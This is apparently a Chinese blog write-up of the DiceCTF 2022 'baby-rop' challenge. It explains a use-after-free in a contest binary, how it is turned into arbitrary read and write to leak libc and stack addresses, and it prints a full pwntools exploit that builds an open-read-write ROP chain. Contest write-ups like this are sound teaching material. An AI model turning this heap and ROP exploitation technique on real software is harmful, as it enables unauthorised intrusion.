DiceCTF 2022


DiceCTF 2022

PWN

baby-rop

  1. 基本信息

    [*] '/home/ubuntu/CTF_ROOM/game/dice_ctf_2022/pwn/baby-rop/babyrop'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x3fe000)
    $ seccomp-tools dump ./babyrop 
    2.34
    2.34
    glibc 2.34
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
     0002: 0x06 0x00 0x00 0x00000000  return KILL
     0003: 0x20 0x00 0x00 0x00000000  A = sys_number
     0004: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0006
     0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0006: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0008
     0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0008: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0010
     0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
     0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
     0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
     0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0016: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0018
     0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0018: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0020
     0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0020: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0022
     0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0022: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0024
     0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0024: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0026
     0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0026: 0x15 0x00 0x01 0x00000106  if (A != newfstatat) goto 0028
     0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0028: 0x15 0x00 0x01 0x00000010  if (A != ioctl) goto 0030
     0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0030: 0x15 0x00 0x01 0x00000008  if (A != lseek) goto 0032
     0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0032: 0x06 0x00 0x00 0x00000000  return KILL

    给程序修改libc可参考

  2. 漏洞点: free_safe_string 函数中 free 之后没有清除指针,可以uaf。

    void __fastcall free_safe_string(int a1)
    {
      void **ptr; // [rsp+18h] [rbp-8h]
    
      ptr = (void **)data_storage[a1];
      free(ptr[1]);
      free(ptr);
    }
  3. create_safe_string 函数中,先 malloc 一个16字节的note,这个note中前8个字节保存safe_string的长度,然后 malloc一段能够保存safe_string的空间,将指针保存到note的后8个字节中。

    int __fastcall create_safe_string(unsigned int ind)
    {
      size_t *note; // [rsp+18h] [rbp-8h]
    
      note = (size_t *)malloc(0x10uLL);
      fwrite("How long is your safe_string: ", 1uLL, 0x1EuLL, stdout);
      fflush(stdout);
      __isoc99_scanf("%zu", note);
      note[1] = (size_t)malloc(*note);
      data_storage[ind] = note;
      return write_safe_string(ind);
    }

    如此,可以用那个经典的“增增删删增”套路来实现任意地址读写。如下所示,payload会写到note0中,将payload的后8个字节设置成我们要读/写的地址,通过 read_safe_string/write_safe_string 完成后续操作。

    _create(0, 128, b'aaaa')
    _create(1, 128, b'aaaa')
    _free(0)
    _free(1)
    
    payload = ......
    _create(2, 16, payload)
  4. 实现任意地址读写之后,我们可以泄漏libcbase。但是由于程序设置了沙盒,我们只能通过ORW的方式来直接读出flag,那就还需要泄漏栈上的地址,然后通过ROP实现。在libc库中有一个 environ 字段,它负责记录指定 LD_PRELOAD 的语句地址,这个字段保存在栈上,如下图所示:

    environ

    pwndbg> x/3s 0x7ffe7484afd7
    0x7ffe7484afd7: "LD_PRELOAD=./libc.so.6"
    0x7ffe7484afee: "./babyrop"
    0x7ffe7484aff8: ""

    接下来计算一下 environ 字段上的地址跟ret所对应的栈上地址的偏移即可。然后就是把ROP利用链写到栈上了。

  5. EXP(自备flag)

    from pwn import *
    
    context(log_level = 'debug', terminal = ['tmux', 'sp', '-h'], binary = './babyrop', arch = 'amd64')
    
    elf = ELF('./babyrop')
    libc = ELF('./libc.so.6')
    p = process('./babyrop', env = {'LD_PRELOAD' : './libc.so.6'})
    
    def _enter(cmd, ind):
        p.recvuntil(b'enter your command: ')
        p.sendline(cmd)
        p.recvuntil(b'enter your index: ')
        p.sendline(('{}'.format(ind).encode()))
    
    def _create(ind, leng, content):
        _enter(b'C', ind)
        p.recvuntil('How long is your safe_string: ')
        p.sendline('{}'.format(leng).encode())
        p.recvuntil('enter your string: ')
        p.send(content)
    
    def _write(ind, content):
        _enter(b'W', ind)
        p.recvuntil(b'enter your string: ')
        p.send(content)
    
    def _read(ind):
        _enter(b'R', ind)
    
    def _free(ind):
        _enter(b'F', ind)
    
    def _quit():
        _enter(b'E', 0)
    
    _create(0, 128, b'aaaa')
    _create(1, 128, b'aaaa')
    _free(0)
    _free(1)
    
    free_got = elf.got['free']
    payload = p64(8) + p64(free_got)
    _create(2, 16, payload)
    
    _read(0)
    p.recvuntil(b'Sending 8 hex-encoded bytes\n')
    s = p.recvuntil(b'\n')
    s = s.decode()
    s = s.replace(" ", "")
    s = bytes.fromhex(s)
    free_addr = u64(s)
    print('free_addr = {}'.format(hex(free_addr)))
    
    libcbase = free_addr - libc.symbols['free']
    environ_addr = libcbase + libc.symbols["environ"]
    print('environ_addr = {}'.format(hex(environ_addr)))
    payload = p64(8) + p64(environ_addr)
    _write(2, payload)
    
    _read(0)
    p.recvuntil(b'Sending 8 hex-encoded bytes\n')
    s = p.recvuntil(b'\n')
    s = s.decode()
    s = s.replace(" ", "")
    s = bytes.fromhex(s)
    environ_val = u64(s)
    print('environ_val = {}'.format(hex(environ_val)))
    gdb.attach(p)
    
    ret_addr = environ_val - 0x130
    
    bss_seg = 0x404060
    open_addr = libcbase + libc.symbols['open']
    read_addr = libcbase + libc.symbols['read']
    write_addr = libcbase + libc.symbols['write']
    exit_addr = libcbase + libc.symbols['exit']
    pop_rdi_ret = libcbase + 0x000000000002daa2
    pop_rsi_ret = libcbase + 0x0000000000037bba
    pop_rdx_r12_ret = libcbase + 0x0000000000106751
    fd = 3
    
    orw_payload = p64(pop_rdi_ret) + p64(bss_seg) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) +\
                p64(pop_rdi_ret) + p64(fd) + p64(pop_rsi_ret) + p64(bss_seg) + p64(pop_rdx_r12_ret) + p64(10) + p64(0) + p64(read_addr) +\
                p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss_seg) + p64(pop_rdx_r12_ret) + p64(10) + p64(0) + p64(write_addr) +\
                p64(pop_rdi_ret) + p64(0) + p64(exit_addr)
    
    flag_str = b'flag\x00'
    payload = p64(len(flag_str)) + p64(bss_seg)
    _write(2, payload)
    _write(0, flag_str)
    
    payload = p64(len(orw_payload)) + p64(ret_addr)
    _write(2, payload)
    _write(0, orw_payload)
    
    _quit()
    
    p.interactive()

    文件

链接:https://pan.baidu.com/s/1AtGRcu0SLHVk12e4e-9wJg 
提取码:9if2

文章作者: 李立基
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
  目录